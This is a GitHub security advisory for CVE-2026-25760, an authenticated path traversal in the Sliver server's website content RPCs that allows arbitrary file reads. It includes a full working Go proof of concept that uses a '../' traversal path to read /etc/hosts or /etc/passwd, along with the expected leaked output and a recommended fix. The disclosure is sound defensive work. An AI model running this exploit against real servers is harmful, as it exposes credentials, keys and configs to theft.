Skip to content

Website Path Traversal / Arbitrary File Read (Authenticated) in Sliver

Moderate
moloch-- published GHSA-2286-hxv5-cmp2 Feb 5, 2026

Package

sliver

Affected versions

1.6.10

Patched versions

1.6.11

Description

Summary

A path traversal in the website content subsystem lets an authenticated operator read arbitrary files on the Sliver server host. This is an authenticated path traversal / arbitrary file read issue, and it can expose credentials, configs, and keys.

Affected Component

  • Website content management (gRPC): WebsiteAddContent, Website, Websites
  • Server-side file read in Website.ToProtobuf

Impact

  • Arbitrary file read as the Sliver server OS user.
  • Exposure of sensitive data such as operator configs, TLS keys, tokens, and logs.

Severity

  • CVSS v3.1 Base: 4.9 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

If your threat model treats any authenticated operator as low-privilege:

  • CVSS v3.1 Base: 6.5 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Root Cause

The server accepts and persists arbitrary website paths from the operator, then later reads from disk using that path without sanitization or containment.

Vulnerable Code References

  • server/rpc/rpc-website.go:100 — accepts content.Path from operator RPC and persists it via website.AddContent
  • server/db/models/website.go:52 — reads from disk with filepath.Join(webContentDir, webcontent.Path) without validating or constraining webcontent.Path

Proof of Concept (PoC)

Steps (local test)

  1. Build the server:
    go build -mod=vendor -tags go_sqlite,server -o sliver-server ./server
  2. Create an operator config (permission all for website operations):
    ./sliver-server operator -n testop -l 127.0.0.1 -p 31337 -P all -o file -s /tmp
  3. Start the daemon:
    ./sliver-server daemon -l 127.0.0.1 -p 31337
  4. Run the PoC:
    GOFLAGS=-mod=vendor go run ./poc/website_path_traversal.go -config /tmp/testop_127.0.0.1.cfg -website poc-site -target /etc/hosts

PoC Code

package main

import (
	"context"
	"flag"
	"fmt"
	"os"
	"path/filepath"
	"runtime"
	"strings"
	"time"

	"github.com/bishopfox/sliver/client/assets"
	"github.com/bishopfox/sliver/client/transport"
	"github.com/bishopfox/sliver/protobuf/clientpb"
)

func main() {
	var (
		configPath  string
		websiteName string
		targetPath  string
		webPath     string
		maxBytes    int
	)
	flag.StringVar(&configPath, "config", "", "path to sliver client config (.cfg)")
	flag.StringVar(&websiteName, "website", "poc-site", "website name to use/create")
	flag.StringVar(&targetPath, "target", "", "absolute server file path to read")
	flag.StringVar(&webPath, "web-path", "", "override web path (defaults to traversal into target)")
	flag.IntVar(&maxBytes, "max-bytes", 1024, "max bytes of leaked content to print")
	flag.Parse()

	if targetPath == "" {
		if runtime.GOOS == "windows" {
			targetPath = `C:\\Windows\\System32\\drivers\\etc\\hosts`
		} else {
			targetPath = "/etc/passwd"
		}
	}

	if webPath == "" {
		trimmed := strings.TrimPrefix(targetPath, string(filepath.Separator))
		webPath = "../../../../../../../../" + trimmed
	}

	config, err := loadConfig(configPath)
	if err != nil {
		fatalf("config error: %v", err)
	}

	rpc, conn, err := transport.MTLSConnect(config)
	if err != nil {
		fatalf("connect error: %v", err)
	}
	defer conn.Close()

	ctx, cancel := context.WithTimeout(context.Background(), 15*time.Second)
	defer cancel()

	_, err = rpc.WebsiteAddContent(ctx, &clientpb.WebsiteAddContent{
		Name: websiteName,
		Contents: map[string]*clientpb.WebContent{
			webPath: {
				Path:        webPath,
				ContentType: "text/plain",
				Content:     []byte("poc"),
			},
		},
	})
	if err != nil {
		fatalf("WebsiteAddContent failed: %v", err)
	}

	resp, err := rpc.Website(ctx, &clientpb.Website{Name: websiteName})
	if err != nil {
		fatalf("Website failed: %v", err)
	}

	var leaked *clientpb.WebContent
	for _, c := range resp.Contents {
		if c.Path == webPath {
			leaked = c
			break
		}
	}
	if leaked == nil {
		fatalf("did not find content for path %q", webPath)
	}

	data := leaked.Content
	if len(data) > maxBytes {
		data = data[:maxBytes]
	}

	fmt.Printf("[+] target: %s\n", targetPath)
	fmt.Printf("[+] web-path: %s\n", webPath)
	fmt.Printf("[+] leaked bytes: %d\n", len(leaked.Content))
	fmt.Printf("[+] preview:\n%s\n", string(data))
}

func loadConfig(path string) (*assets.ClientConfig, error) {
	if path != "" {
		return assets.ReadConfig(path)
	}
	configs := assets.GetConfigs()
	if len(configs) == 0 {
		return nil, fmt.Errorf("no configs found; use -config")
	}
	if len(configs) > 1 {
		return nil, fmt.Errorf("multiple configs found; use -config")
	}
	for _, c := range configs {
		return c, nil
	}
	return nil, fmt.Errorf("unexpected config error")
}

func fatalf(format string, args ...any) {
	fmt.Fprintf(os.Stderr, format+"\n", args...)
	os.Exit(1)
}

Expected Output (example)

[+] target: /etc/hosts
[+] web-path: ../../../../../../../../etc/hosts
[+] leaked bytes: 409
[+] preview:
127.0.0.1	localhost
...

Evidence (Screenshots)

path-traversal-poc

Why It Works

  • WebsiteAddContent accepts a path like ../../../../etc/hosts and stores it.
  • Website returns content by calling Website.ToProtobuf, which reads from disk using the stored Path value.
  • filepath.Join does not prevent traversal, so the server reads from outside the web directory.

Recommended Fix

  • Validate and reject paths that are absolute or contain .. in WebsiteAddContent (server side).
  • Canonicalize paths and enforce they remain within the web content directory.
  • Avoid reading content by Path in Website.ToProtobuf; read by content ID instead.

Notes

  • This issue requires an authenticated operator account with sufficient permissions (PermissionAll).
  • The PoC demonstrates reading /etc/hosts but can target any readable server file.

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

CVE ID

CVE-2026-25760

Weaknesses

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. Learn more on MITRE.

Credits